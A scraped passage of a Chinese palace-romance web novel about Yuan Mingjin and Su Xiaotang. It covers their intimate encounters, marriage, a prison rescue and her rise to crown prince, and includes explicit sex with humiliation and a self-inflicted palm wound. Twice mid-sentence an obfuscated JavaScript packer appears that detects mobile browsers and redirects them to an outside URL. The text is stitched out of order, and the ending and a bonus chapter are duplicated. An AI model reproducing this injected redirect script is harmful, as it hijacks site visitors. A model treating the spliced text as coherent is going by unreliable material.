大街上车马如流,两侧商铺的幌子在风中招展,卖胡饼的大娘揭开笼盖,芝麻的脆香一波一波地滚动,路边的紫藤都给香得甘拜下风,不时便会掉下来一朵。远处,高耸入云的皇城一角反射出金灿灿的光泽,飞檐上的骑凤仙人领着脊兽排排蹲坐,仿佛正要向蔚蓝的天际驰骋而去。头顶晴空万里,风和日丽。 这一次,再无人怨毒地目送他离去,但两侧的街景却有所不同。 这似乎……不是回瑞王府的路。 “妻主,我们不回府么?”苏小糖问。 “回东宫,左右也是要搬的,不如现下就将这些物件带去。” 元明瑾放下书卷,伸手勾了他下巴一下,调笑道:“接你去当太子夫,去不去?” “去!” 苏小糖猛地扑进她怀里。 ——正文完—— 25. 贵女×皇男⑵ 床后空间太过狭小,二人非得贴得亲密无间,两具身体之间一丝缝隙也不留,方才勉强能容下。这一下扑得她后脑勺咚地撞到墙,不由吃痛地闷哼一声,笑道:“这么心急?” 苏小糖已经烧得什么都听不清了,水雾迷蒙的眸子湿得像要滴出水来。他性急地凑上前去,压着她,小兽似的在她唇边嗅闻,不时还伸出舌尖舔舐两下。 元明瑾起先不明白他意欲何为,便由着他动作,细细观察一番后,方恍然大悟道:“原来是想亲近我吗?” 如此不得章法……倒是她不解风情了。 两人便顺理成章滚入一床柔软中。 拆礼物似的,元明瑾解开苏小糖那身早已被他自己扯得松散的绿衣,露出里头凝脂般的白皙肌肤,指尖自胸膛一路向下,划过爬着少许青筋的光洁小腹,最后戳了戳红丝线织成的锁笼,小小地诧异了一下:“个头还不小。” 满满当当的,甚至隐隐有把锁笼撑爆的趋势。 颜色也好看,白中带粉,被鲜红的丝线一衬,显得他整个人更像玉做的了。 中了药的身子本就敏感,苏小糖被她戳得一哆嗦,呜咽着说难受,抱着她哭个不停,泪水很快便打湿了她的肩头,围纱上腾飞的金凤吸饱了水,仿佛被困在一团云雾中。 他实在太黏人,所幸元明瑾还算有耐心,只笑着斥道:“滚下去。” 语气平平的三个字,但苏小糖仍倍感委屈,然而依旧听话地下床跪着了。元明瑾便脱了鞋袜,赤足踩上去。 皇子用的东西质地自是最上乘的,锁笼亦不例外,据说是由一种血蚕吐出的丝编织而成,柔韧绵滑。玉足踏着红线,白的愈白,红的愈红,苏小糖低头一瞧,顿时眼睛都红了,骨节分明的双手捧起她那只脚,一边动作,一边还抽抽搭搭道:“好凉……” 话音未落,手心里那只脚骤然发力,一脚将他踹翻在地。 “真是不听话的狗。” 眉尖微蹙,元明瑾居高临下看他,作势便要起身。 虽然把苏小糖剥个精光,但她自己仅仅脱了鞋袜,身上衣裙饰物无一不十分齐整。苏小糖怕她真的丢下自己不管,连忙爬起来,这次不敢再放肆,只是殷切地用脸颊贴着她小腿,自下而上,可怜巴巴地抬起眼睛看她,眼尾通红,睫毛扑闪扑闪,一副全然顺从的乖巧模样。 偏生锁笼里的东西与上头那张纯良的脸截然不同,气势汹汹,正一搏一搏地跳动,烫得元明瑾的脚底像踩了一块烙铁,又像一头蛰伏而蓄势待发的凶兽。她被烫得直皱眉,双臂环抱在胸前,正踩织机似的蹍它,脚趾却忽然触到一颗黄豆大的硬物,一低头,就见苏小糖弓起身子像虾一样瑟缩着往后躲。 “原来是守宫砂。”元明瑾不容许他躲,干脆上移,稍微使了些力的一脚压在他小腹上。苏小糖吓得浑身一僵,动也不敢动,生怕被她弄掉,一松懈,就弄脏了元明瑾的脚。 药效总算退了大半,剩下的他泡冷水也能解决。苏小糖赶紧抓过自己的衣服给她擦干净,双颊滚烫,羞得不敢抬头看她。元明瑾坐在床沿,跷起那只脚方便他动作,手肘撑在腿上,掌心托腮,状似烦恼地望着他低垂的睫毛叹气:“唉……” 这声气叹得苏小糖心头一紧,他不由自主放轻了手中动作,小心翼翼问:“弄疼你了吗?” 听、听说,皇男出嫁的时候,嫁妆里都会塞一份避火图……他到时候一定会好好学习! “你这么放荡,还未成婚就随便跟不知名姓的女子厮混,以后定没有哪家女郎愿意娶你为夫。” 苏小糖一听,一张小脸上血色瞬间褪得干干净净。他期期艾艾道:“没有随便!只有你……我知道你的名字!” 他怎么会忘记救命恩人的姓名呢? 当然只能是她……他在回身看清她脸的那一刻,就放弃了抵抗。若换成旁的女子,他就是咬了舌头也绝不会让她们得逞! 可是,她……她不记得他吗? 她连中三元,母亲又名震朝野,这么大的名气,如今整个天元想找出一个没听过她名号的人也难。元明瑾并未将这句话放在心上,只自顾自继续对他进行荡夫羞辱:“嫁不出去的皇子会有什么下场呢?唔……也许会被送去异国她乡和亲?但婚前失贞,视为淫泆。犯了七出,若你未来的妻主不知还好,但天下哪有不透风的墙,万一你放荡泛淫一事传到她耳朵眼里,也许不知的时候,尚对你留有几分情面,若是知道了,干脆也不必手下留情。九曜人生性野蛮,把男子玩坏了,就把他的头颅剖开,用他的头盖骨当酒碗,而后曝尸荒野,让鹰啄尽你尸身上的肉后,拿你笔直的腿骨当短兵,再把你身上其它骨头磨成珠子串起来挂在身上当项链戴……” 这当然是假的,天元九曜既怨结已久,自然清楚对方还不至于如此野蛮,她不过是说来吓唬吓唬苏小糖罢了。然而苏小糖自小便长在深宫之中,不曾见过外面的天地,既是从元明瑾口中说出的,便信以为真,当即吓得瑟瑟发抖,“我、我不想和亲!求求你,救救我……” 元明瑾故作为难道:“眼下你已经不干净了,我呢,又一向耳根软、心肠软。你这般可怜,我勉强也能收下你,当个养在外头的外室。你若是愿意,就在宫中乖乖等着,待我筹备妥当了,就将你接出去。” 苏小糖并不明白什么叫“外室”,整个人都懵懵懂懂的,但还是点了点头,只知道答应下来,就能和她在一起。 …… 尽管他已经竭力掩饰过了,但晚上李公公伺候他沐浴之时,鼻子耸动一二,仍觉出了有几分不对。 “殿下,老奴问您,您是不是自个儿碰过了?”李公公严肃地问。 苏小糖正嗫嚅着答不上话,李公公却忽然瞧见他胸前挂着颗水滴状的鲜红坠子,像一滴血泪,就坠在两座雪山之间的鞍部,好似落入雪地里的一瓣梅。皮肉之下不过几寸远的地方,就是怦怦跳动的心脏,正一搏一搏,泵出热烫的血。 “这是……”李公公将那颗红坠子捞在掌心,细细查看,脑后突然闪过一道灵光,“这是元修撰的眉心坠——殿下与她私相授受了?!” 自古状元得授从六品翰林院修撰。苏小糖见瞒不住,只得如实告诉他,自己被苏宜宜下药,欲令他当众出丑,还安排了人毁他清白,是元明瑾及时出现,救了他。 至于怎么救的……苏小糖低下头,露出一段天鹅般纤长的颈子,玉白肌肤泛起薄薄一层淡粉,不知是羞的还是热水熏的。 一切尽在不言中。 李公公吓得心跳突突,忙去查看锁笼,见其完好无损,并无受外力破坏过的痕迹,这才把心放回了肚子里。 他既能在皇子宫中担任总管,肯定也是人精,怎么会想不到,外女本就不能在后宫中随意走动,而元明瑾出现的时机太过凑巧,偏又没有叫人帮忙,还善心大发,亲自上阵,解了苏小糖的燃眉之急,免他爆体而亡、使皇室蒙羞—— 可她真是这么好心的人么? 李公公曾听闻,她在某个筵席上将前来大献殷勤的舞郎一脚踢飞,因而他还当她不喜男子——毕竟哪个女郎在筵席上不是左拥右抱的? 否则,见了袅袅亭亭的舞郎,即便无意周旋,也不可能下如此狠脚。 李公公正满腹疑惑,又问苏小糖,红丝锁笼并未损坏,她是如何帮他解决的? 苏小糖便十分难为情地坦诚了,李公公一听,简直快气晕过去,怒道:“殿下千金之躯,怎么能让人踩在脚下!这简直是大逆不道!老奴定要禀报圣上,治她个不敬之罪!” 说罢他就噔噔往外走,一时连苏小糖还泡在浴桶中也忘了。苏小糖赶忙拉住他,红着脸道:“瑾姐姐踩得我挺舒服的……公公不要怪罪她,她救了我一命,免皇室的脸面受辱,我们该感谢她才是啊,为什么要治她的罪呢?” “你!唉……你这小兔崽子……”李公公见他被人卖了还帮着数钱,更是气不打一处来,手指戳得苏小糖额上通红一片,“还没嫁出去呢,胳膊肘就往外拐了!” 苏小糖再笨也听出来他的口气有所软和,被戳得眼睛一眨一眨,忍不住捂着额头向后躲,说:“公公现在打了我,可就不能再去打她了。” 李公公顿时气笑了,没好气道:“定不会罚到元修撰身上的,您就放一百个心吧。” 如今皇室式微,天下已经只知元姓、不知苏姓了,真要罚,恐怕也得看元明瑾那位积威甚重的权臣母亲的脸色。 且还没有实际证据,元明瑾承不承认尚且两说;苏宜宜既干了坏事,肯定不会承认。 仅凭苏小糖一张嘴,皇帝未必会信。 ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581208|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 次日一早,赐婚的圣旨被强塞到手中时,苏小糖还是愣愣的,眼珠子转也不转,传旨太监向他贺喜,他却一个字都听不进去。 “这孩子,是高兴傻了吗?”李公公送走众人,回身看见苏小糖还是那副呆样,不由摇头叹气。 苏小糖自是大喜过望的,但又止不住担心,元明瑾说他只能做那劳什子的外室,结果现在自己竟然成了她的正夫……瑾姐姐会不会怪他逼她娶他? 他就这样怀着惴惴不安的心情,坐上花轿,拜了堂、成了亲,直到被送入元明瑾的卧房,还是紧张得大气都不敢出。 元明瑾执喜秤挑开盖头时,见到的就是一张满面愁容的小脸。 “怎么,嫁给我,不高兴?放着正夫不做,还是想当外室?” 其实元明瑾已经看出他的小心翼翼,便故意沉着脸佯装不悦。苏小糖见状,忙挤出个笑脸来,谨小慎微地讨好她,但望着她冷漠的眉眼,忍耐许久,最后还是忍不住哭了,眼泪像断了线珠子似的,扑簌簌往下掉,然而贝齿咬着下唇,努力把呜咽声憋回肚子里,生怕又惹她不快。 “怎么了?”见他哭得惨兮兮的,元明瑾也装不下去了,当即便柔声安抚起来,还轻轻在他脸上游移啄吻,将他的眼泪尽数吮舔掉。 她的唇舌并不像她的手那样粗糙,苏小糖觉得痒,便略微缩了缩脖子,向后退了一退。岂料却被元明瑾解读为抗拒,她眸色一沉,越发逼近前去,将他堵在床角,叫他无处可逃,却又一声不吭,只顾自己上下起伏,虎口还虚虚掐着他脖子,拇指指腹使了些力按着他喉结,问:“能不能不哭了,嗯?” “……哭得你瑾姐姐愈发兴奋了。” 她含着他的耳珠,用沙哑柔和的嗓音,贴在他耳边说。 温暖的气流径直吹进耳孔里——明明只是情人间的喁喁私语,命脉被她握在手里时也没见他怕,这会子反倒吓得苏小糖哭不动了,一阵接一阵地打嗝,慌忙捂住嘴,只露出一双水光潋滟的眼睛,无措地望着她。 但某处的变化实在太过明显,撑得元明瑾甚至有些作呕。她又气又无奈,遂掐了一把他的脸泄愤——手感太好,掐一下,又掐一下,最后苏小糖实在忍得难受了,可怜巴巴地亲亲她,求她动一动,元明瑾这才停了手。 云销雨霁,两人泡在浴池中沐浴。 元明瑾不喜唤人伺候,苏小糖便拿过巾帕,笨手笨脚地替她搓背,眼神十分坚定,面色十分认真,表情十分严肃,力道却放得十成十地轻,生怕再惹她生气。 搓了没一会儿,见元明瑾靠在池壁上,正有一搭没一搭地翻书,神色慵倦,大片光洁如玉的脊背肌肤露在水面上,苏小糖盯了片刻,实在没忍住,俯身亲了亲,就听元明瑾懒懒道:“这会子胆子倒是大,刚才又哭什么?我还能吃了你不成?” “你已经吃过了……”苏小糖没听出来她有生气的意思,便依言大着胆子,又亲了亲她的后颈。 ……开了荤就是不一样,快还她那个纯良的苏小糖。 元明瑾无奈道:“只是吓吓你罢了,我并非真的动怒。” 苏小糖这会儿当然看出来她色厉内柔,也敢抱着她黏黏糊糊撒娇了。他自后环住她,脸埋进她肩颈处,哼哼唧唧道:“瑾姐姐欺负人,我真的有被吓到!” 他被唬得以为自己就配当个外室,心中始终不安,总觉得自己不配,踌躇许久,最终还是问:“我、我可以当瑾姐姐的正夫吗?” 语气简直卑微到了尘埃里。 “又在胡思乱想什么?”元明瑾倦怠道,“本来我也想向陛下求娶你,只是圣旨来得更快些罢了。” 皇帝既能这么快就下旨,想必是问过她母亲的意见了。 若她不愿,整个天元也无人能强迫于她。 苏小糖正依恋地抱着她,鼻唇就贴着她颈侧肌肤,闻言简直高兴得快要不能自已,小动物似的蹭了蹭她的脖颈,“妻主真好!” 说完自己先红了脸,然后又试探似的,忍不住“妻主、妻主……”一叠声地叫,温热的气息就喷吐在她颈侧,闹得人又痒又烦。 元明瑾已然困乏得不行,便一把捂住他的嘴。苏小糖就势亲了亲她的手心,忙取来浴巾擦干二人,抱着她回到卧房,见她已经睡着,便窝在她身边,安心地闭上眼,也沉沉睡去。 23. 终幕 崇定二十六年四月辛未,瑞王上变,告肃王谋反。敕沈佳、苏傲霜、梅鹤鸣、刘鸿祯与大理、中书、门下参鞫之,反形已具。丙子,诏废肃王明琼为庶人,幽于右领军府,宥其夫子,党羽甚众,皆已伏诛。明琼既废,上御两仪殿,群臣俱出,独留沈佳、苏傲霜、梅鹤鸣,谓曰:“教子无方,我心诚无聊赖!”因自投于床,沈佳等争前扶抱;上又抽佩刀欲自刺,鹤鸣夺刀以授瑞王明瑾,此为后话。 天刚蒙蒙亮,两道圣旨同时出宫,又分道扬镳,各奔东西。丞相亲自捧旨,龙旗猎猎,黄土净街,禁军开道,令闲杂人等避让。阵仗之大,引得百姓纷纷侧目,都道天元将生大变,也不知是好是坏,叫人忧心忡忡。 “哟,宫中这么大排场,怎么了这是?” “听说是陛下下旨,肃王府和瑞王府都有一份,也不知是吉是凶。” “瑞王府……我们真的不管管他吗?不会死了吧?” 话头都到这儿,这狱卒也就顺水推舟,向监牢深处使了个眼色。 那日苏小糖听闻欺君之罪要株连九族,唯恐祸及妻主,便拔下发簪,咬咬牙,在掌心狠狠划出一道深可见骨的口子,又攥紧掌心,让鲜血一滴滴落在地上。 虽然疼得不行,但他还没来得及倒吸一口凉气,就赶紧从衣角撕下来块布,用指头蘸着血,在上头写写画画,还苦中作乐地想,幸好小时候读书识字时不曾偷懒,否则今日即便想写,恐怕也挤不出几个字来。 许是急中生智,他思绪如水,十分顺畅便完成一篇,长出一气——然而出到一半,又卡壳了。 “母四族、父三族、妻二族……” 那名心善狱卒的话在他脑海中反复回荡。 虽然苏府待他并不好,但总归给了他一个遮风挡雨的地方,让他还算平安地长大了,母亲对他也尚有养育之恩…… 于是苏小糖又捡起簪子,抿紧嘴唇,别过脸,抖着手,犹犹豫豫地,在那条口子旁边,又划了一道。 簪子当啷一声落地,银质柔软,凤头被摔得些微变形,苏小糖却顾不得许多,赶忙蘸着血写起来。 …… 狱中不见天日,他早就不知道这是自己进来的多少天了。虽然在饭食上并未受亏待,但苏小糖仍是昏昏沉沉的,一摸,额上十分滚烫,不知怎么发起高热来。 掌心两道伤口更是微微红肿发热,边缘渗出些黄白色的脓液,皮肉一搏一搏地胀痛,折腾得他夜晚也无法入眠。 另一名狱卒答:“算了吧,都这么多天了,也没见那位来救他,想必不是什么重要角儿,指不定那还是下令将他杀头的圣旨呢。寺丞大人可是招呼过我们,要好好‘伺候’这位。得罪瑞王事小,得罪肃王,可就——” “哦?得罪本宫,为何就是小事?” 一道冷沉的嗓音远远传来,含着再明显不过的愠怒,音量不大,却响彻整间囚室。 两名狱卒吓得齐齐一抖,下意识就扑通一声跪下来,忙不迭匍匐在地—— “见过瑞王殿下!” 四月乃春夏交接,外头艳阳高照,天牢却又湿又冷,寒气刺骨,仿佛仍停留在冬季。 元明瑾甫一入内,便蹙紧了眉,沉声道:“还不快放了王夫?” 除了入口除的阳光,天牢内唯一的光源只有微弱的烛火。此刻元明瑾负手而立,投下的黑影小山似的,将两人盖得严严实实。她们顷刻间便汗出如浆,两股战战,几欲先走,却又不得不壮着胆子拒绝道:“陛下亲自下令将罪人关进来,我等怎能抗旨不从,还望殿下莫要为难……” “大胆!这可是太子殿下!里头关押的可是太子夫!赦免的圣旨随后就到,你们胆敢不从!” 元明瑾还未出声,身侧立即有善察言观色的心腹喝道:“拖下去,两人各打二十大板!肃王真是养了一群好狗,死到临头还知道咬人!” “——太、太子殿下?!” 一听这话,狱卒就是再蠢也知道这场夺嫡之战是谁胜出了,磕头磕得一下比一下响,眨眼间便染红了石砖,“殿下息怒、殿下息怒啊!” “求殿下饶恕小的这一回吧!小的再也不敢了!” 求饶的哀嚎声渐渐远去。苏小糖蜷缩在角落里瑟瑟发抖,身上一阵冷一阵热,还以为自己已到了阴曹地府,故而恶鬼的嚎叫声不绝于耳。 然而鼻端却又飘来一阵凛冽的竹叶清香,熟悉又陌生,恍如隔世。 略微粗糙的触感在脸上逡巡,苏小糖浑身一颤,既怕是自己心心念念的那个人,又怕不是她,连忙睁开眼,就见元明瑾眸色温柔似水,黑白分明的眼珠上下游移片刻,检查过他全身,才轻声道:“既醒了,便回家吧。” 她伸出手,想打横抱起苏小糖,却被拽住衣袖,制止了她的动作。元明瑾正疑惑不解,忽觉苏小糖挣扎了两下,力道轻得挠痒似的,最后在她怀里找了个舒服的位置,靠着不动了,半晌才软软道:“我不能回去。” “为什么?”元明瑾很是耐心。 天牢中着实太冷,苏小糖靠进她怀里,就如一块冰落进火炉里,火炉并无大碍,冰却快要化干净了。 “我不……不想……成为妻主的……污点……” 说来也怪,嗅着这股好闻的竹香,彻夜无寐的苏小糖竟生出一丝困意。他从心所欲,合上烧得干涩的眼睛,呼吸慢慢变得轻缓绵长。 元明瑾屈指成钩,举在半空,定定地瞧了一会儿他的睡颜,最终还是放下了——她本想敲他一记爆栗的。 真不知这颗小脑袋瓜里一天天都在想些什么。 她动作极轻地抱着他穿过长廊,甫一出门,就见一队人马匆匆赶到,为首的不是旁人,正是捧着皇帝手谕前来放人的大宫女,和负责管理天牢的大理寺丞。 见是元明瑾,大宫女行过礼,笑道:“在此恭喜太子殿下了。” 元明瑾冷淡地点点头,抱着人大步出去了,瞥也不瞥眼巴巴候在一旁、同样想与她寒暄两句的大理寺丞。 心腹赶紧解释道:“殿下见太子夫伤成那样,心情不佳,姑姑勿怪。” “什么怪不怪的,姑娘莫要见外才是。太子夫一介男子,竟能做出这样的壮举,真令我等钦佩。”大宫女应道。 “正是,太子夫如此忠义,当为天下男子之表率……” 大理寺丞这根墙头草终于捉着间隙插上嘴,一句话还没说完,就被狠狠瞪了一眼,立时住了嘴,不敢再出声。 …… 虽然已被封为太子,但册封典礼须待钦天监择一良辰吉日,再候礼部筹备妥当后,方能举行。 故元明瑾照旧把苏小糖带回瑞王府中,令御医好生照看。 然而一回府却被张嬷嬷逮了个正着,正颜厉色地要她先看御医。 “殿下如今乃天元前星、国之根本,更应该保重身体,怎么连额上伤了一块都毫无所察呢?”张嬷嬷嗔道,“殿下粗心,总不见得随侍的小子们也粗心,看来是时候多添些人手了。” 元明瑾悻悻地摸了摸额角,果然一阵钝痛——那块镇纸自元明琼手中滑落时,是先被她的额头挡了一下,才坠地的。 她道:“不妨事,不过是擦伤了油皮,不碰就不疼,本宫——” 她在张嬷嬷犀利如电般的眼神中败下阵来。 包扎完毕,元明瑾吩咐张嬷嬷将王府上下仔细清洗一通,宁缺毋滥,毕竟这些人马,来日也是要带进东宫的。 张嬷嬷应下,沉眉思索片刻,问道:“肃王谋逆一事,解决得比奴婢想象中轻松。她那些兵马还不知藏在哪儿,陛下怎么会就此给她定罪呢?” “这个问题就留给母皇和沈相她们头疼好了。”无事一身轻,元明瑾懒洋洋倚在美人榻上,“有其父做先例,母皇吃一堑长一智,想叫她不生疑也难。何况元明琼着实蠢笨,我若是她,怎会想不到在这些宗室权贵的后院安插眼线,是她爹早就用惯的伎俩?” 千里之堤,溃于蚁穴。元明琼的父亲就是这样爬上母皇龙榻的,自然清楚后宅中这些不起眼的小人物有多么重要。然而元明琼继承了她父亲的手段,却没继承她父亲的心计。 再者,眼线一事,本来也算不上稀奇——谁家没几个她人的眼线?不过睁一只眼闭一只眼,各自安好罢了。 元明琼的确也可以往别人家安插,但在母皇早有疑心的前提下,只要这些眼线被捉出来,她意图谋反的罪名就坐得不能更实了。 说到父君…… 过两日便是她父君的诞辰。 元明瑾不由忆起日前入宫,见到的那棵被栽在养心殿后的梅树。 父君死时,她年岁尚小,还未记事,只知道它是母皇和父君一同栽下的,原本种在父君宫中,后来被迁到了养心殿后。 这样母皇一开窗,就能见到这棵树。 她还听闻,父君的尸骨并未葬入君侍园寝——那不过是具空棺罢了。 他就静静地躺在那棵梅树下,与母皇日夜相望。 起初元明瑾还嗤之以鼻,然而见它四月仍能开花,心中竟多了几分信服。 宫中向来是只闻新人笑、哪闻旧人哭……能在母皇心中占据一角,已然算是不错。 …… 虽然册封太子的典礼由丞相统筹、礼部操持,太子本人仅需闭门读书、修身养性,尽量不参与其中,但皇帝有心多加磨砺她,便将铲除肃王余党一事交由她处置,故元明瑾仍忙得脚不沾地,早出晚归、披星戴月。往往是苏小糖睡下她才回,他还未起,她又出去了……他真疑心她连被褥都未躺热乎。 妻主忽然成了太子,一人得道,鸡犬升天,王府里机灵的仆从都嘴快地叫起苏小糖“太子夫”来。若说不高兴肯定是假的,但他已有半个月没怎么见过尊贵的太子殿下本人,心中不免感到失落。 这天他难得卯时初便起了,一摸身侧,早就凉透……手指不由自主蜷了蜷。 他恹恹地洗漱用早膳,张嬷嬷见他起这么早,讶异之色不加掩饰。但见他一脸衰样,又忍不住莞然笑起来。 “太子夫可要回苏府看一看?殿下说,李公公虽然看管不利,本该被打发回乡,然而他毕竟伺候过苏大人和风郎君,又照料过您,苏大人顾念旧情,便让他去看守祠堂了。” 一听能去看望李公公,苏小糖自然很喜悦,但对苏府又本能地抵触,正踟蹰不定,就听张嬷嬷又道:“册封典礼后,殿下和您就要直接入住东宫,届时再想出宫恐怕会有些困难……” “我去!”苏小糖腾地站起来。 瑞王府和尚书府相距并不远,约莫两刻钟后,苏小糖出现在苏府门口。 今非昔比,眼下就连苏傲霜见了他都要行礼,苏府中人又岂敢阻拦,连苏小糖不知道祠堂在哪儿也没有取笑他,而是一反既往,恭恭敬敬地将他往东南角领。 多日不见的李公公果然在那儿当值,他看着消瘦了些,精神头却足。他见到苏小糖自是大喜过望,忙不迭拉着苏小糖,上上下下地端详,问他近况如何。 “当初都怪老奴,没有看好您,才让夫人和大公子的阴谋得逞了。”李公公说着说着,不觉淌下两行热泪来,听见苏小糖说不怪他,心中愈发羞愧,“真是知人知面不知心,那小绿看着是个乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537867|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧的好孩子,谁又能想到他竟然包藏祸心呢?” 苏小糖汗颜——他是真的不怪李公公,嫁去瑞王府后他天天吃香的喝辣的,妻主疼爱不说,还没人为难他,日子过得比在苏府中好上不止一星半点。如今妻主争气成了太子,他也跟着晋为了太子夫,日后更是要做凤君的。 塞翁失马,焉知非福。若无此劫,他都不知道自己一个娘不疼爹不爱的庶子,要如何嫁给妻主,当她的正夫…… 光是想想都觉得难如登天。 他不知从何解释好,正冥思苦想,李公公见他迟迟不言语,以为他心中难过,眼珠一转,道:“您随老奴来。” 西北角的厢房一向作为库房使用,僻静无人。有了前车之鉴,苏小糖本想拒绝,然而转头一看,身后正跟着一众御侍和卫队,料想也出不了差池,便跟上了李公公。 “风郎君虽去得早,但他的东西,家主其实没丢,都好好地保存着呢。” 李公公推开一间厢房门扉,苏小糖下意识抬袖挡脸,防止飞灰扑进口鼻眼。 然而等了片刻,却并未嗅到灰尘的气味。 再看门上的锁,也是簇新的,闪动着银亮的光泽,并非想象中的锈迹斑斑。 “应当还算干净,家主命人每旬都来打扫……她心中还是有风郎君的。” 李公公不知当年实情,只觉苏傲霜也是个用情至深的可怜人,不由感叹道。 说罢,他就退了出去,独留苏小糖一人在房中,面对满屋子陌生又熟悉的物什,不知怎的,竟生出一股近乡情怯的心绪。 高兴又怅然。 “在看什么?” 苏小糖正到处乱逛,琳琅满目,不知该从哪件开始看起,忽听身后一人出声,把他吓了好一大跳。 回过头去,正言笑晏晏站在那儿的,不是多日未见的妻主又是谁? “妻主!” 苏小糖扑过去,将她紧紧拥入怀中,埋首于她肩颈间,贪婪地汲取着她身上那股好闻的竹香,一刻也不肯放开。 他喃喃道:“我不是在做梦吧?” 话音未落,头上蓦地一疼,苏小糖吃痛,揽着她腰的那只手却仍不愿放开,只用另一只手捂住被她敲疼的地方,泪眼汪汪,“妻主又欺负我。” “好叫你知道你没在梦中。”元明瑾终于敲到了那日没能敲成的爆栗,心情大好,“今日下值得早,回府却没找见你,嬷嬷说你来了苏府,我便跟着来了。” 她视线从苏小糖肩头上越过去,环视四周,“纸鸢、布老虎、鲁班锁、蝴蝶簪……不介绍介绍么?” 苏小糖这才松开她,拿起那只布老虎,“妻主快看!这是小时候,我爹亲手给我缝的!怎么样,可爱吧?” 元明瑾定睛一瞧,见它一只眼睛大一只眼睛小,像在朝她做鬼脸,便道:“原来这不是老虎啊……是狗?” “妻主怎么跟我娘说一样的话?”苏小糖丢给她含嗔带怒的一眼,把它往元明瑾怀里一塞,“这是布老虎没错,只是我爹手拙,我娘见了,捧腹大笑,说这是‘画虎不成反类犬’……” “那这个呢?”元明瑾拿起那支簪子,簪头是一只展翅欲飞的蝴蝶,雕刻得栩栩如生,通体碧绿,玉质油润,不见黑点,定是上品。 “我娘说我从小就爱美,当初一看到这支簪子就走不动道,死死抓在手中,怎么也不肯离去。”苏小糖接过簪子,摩挲着打磨得十分圆润的簪尖,眼底满是怀念,“当时娘还不是户部尚书,只是一介小官,这簪子花了她半个月的俸禄,好在她攒了些钱,否则……” 他低下头,唇角露出一抹笑意,见这支簪子的款式还不算过时,便向元明瑾浓密黑亮的发间插去。 “真好看。”他瞧着瞧着,实在忍不住,凑过去,在元明瑾唇角轻轻印下一吻,“妻主戴什么发簪都好看。” “当真?”元明瑾伸手扶了一下发髻,也笑眼弯弯。 从只言片语中,她依稀窥见,他曾经也是个有娘疼有爹爱的孩子。 若是天元和九曜两国,从来就没有这些宿怨……说到底,这和无辜的黎民百姓又有什么关系呢? 人生无家别,何以为烝黎? 元明瑾心中酸涩,连忙掩饰似的,大手一挥,道:“这里的东西,全都搬回去,日后你想什么时候看,就什么时候看,不必特意回苏府。” “真的?!” 苏小糖眼睛瞬间被点亮,黑润润的,洗净的葡萄一般。他又凑过去在她唇角响亮地亲了一下,“妻主真好!” 一声令下,太子千牛备身便指挥众人,将屋内一样样物什悉数搬上马车。 元明瑾与苏小糖率先离开。车轮辘辘,苏小糖心有所感,掀开车幰向外张望。 大街上车马如流,两侧商铺的幌子在风中招展,卖胡饼的大娘揭开笼盖,芝麻的脆香一波一波地滚动,路边的紫藤都给香得甘拜下风,不时便会掉下来一朵。远处,高耸入云的皇城一角反射出金灿灿的光泽,飞檐上的骑凤仙人领着脊兽排排蹲坐,仿佛正要向蔚蓝的天际驰骋而去。头顶晴空万里,风和日丽。 这一次,再无人怨毒地目送他离去,但两侧的街景却有所不同。 这似乎……不是回瑞王府的路。 “妻主,我们不回府么?”苏小糖问。 “回东宫,左右也是要搬的,不如现下就将这些物件带去。” 元明瑾放下书卷,伸手勾了他下巴一下,调笑道:“接你去当太子夫,去不去?” “去!” 苏小糖猛地扑进她怀里。 ——正文完—— 25. 贵女×皇男⑵ 床后空间太过狭小,二人非得贴得亲密无间,两具身体之间一丝缝隙也不留,方才勉强能容下。这一下扑得她后脑勺咚地撞到墙,不由吃痛地闷哼一声,笑道:“这么心急?” 苏小糖已经烧得什么都听不清了,水雾迷蒙的眸子湿得像要滴出水来。他性急地凑上前去,压着她,小兽似的在她唇边嗅闻,不时还伸出舌尖舔舐两下。 元明瑾起先不明白他意欲何为,便由着他动作,细细观察一番后,方恍然大悟道:“原来是想亲近我吗?” 如此不得章法……倒是她不解风情了。 两人便顺理成章滚入一床柔软中。 拆礼物似的,元明瑾解开苏小糖那身早已被他自己扯得松散的绿衣,露出里头凝脂般的白皙肌肤,指尖自胸膛一路向下,划过爬着少许青筋的光洁小腹,最后戳了戳红丝线织成的锁笼,小小地诧异了一下:“个头还不小。” 满满当当的,甚至隐隐有把锁笼撑爆的趋势。 颜色也好看,白中带粉,被鲜红的丝线一衬,显得他整个人更像玉做的了。 中了药的身子本就敏感,苏小糖被她戳得一哆嗦,呜咽着说难受,抱着她哭个不停,泪水很快便打湿了她的肩头,围纱上腾飞的金凤吸饱了水,仿佛被困在一团云雾中。 他实在太黏人,所幸元明瑾还算有耐心,只笑着斥道:“滚下去。” 语气平平的三个字,但苏小糖仍倍感委屈,然而依旧听话地下床跪着了。元明瑾便脱了鞋袜,赤足踩上去。 皇子用的东西质地自是最上乘的,锁笼亦不例外,据说是由一种血蚕吐出的丝编织而成,柔韧绵滑。玉足踏着红线,白的愈白,红的愈红,苏小糖低头一瞧,顿时眼睛都红了,骨节分明的双手捧起她那只脚,一边动作,一边还抽抽搭搭道:“好凉……” 话音未落,手心里那只脚骤然发力,一脚将他踹翻在地。 “真是不听话的狗。” 眉尖微蹙,元明瑾居高临下看他,作势便要起身。 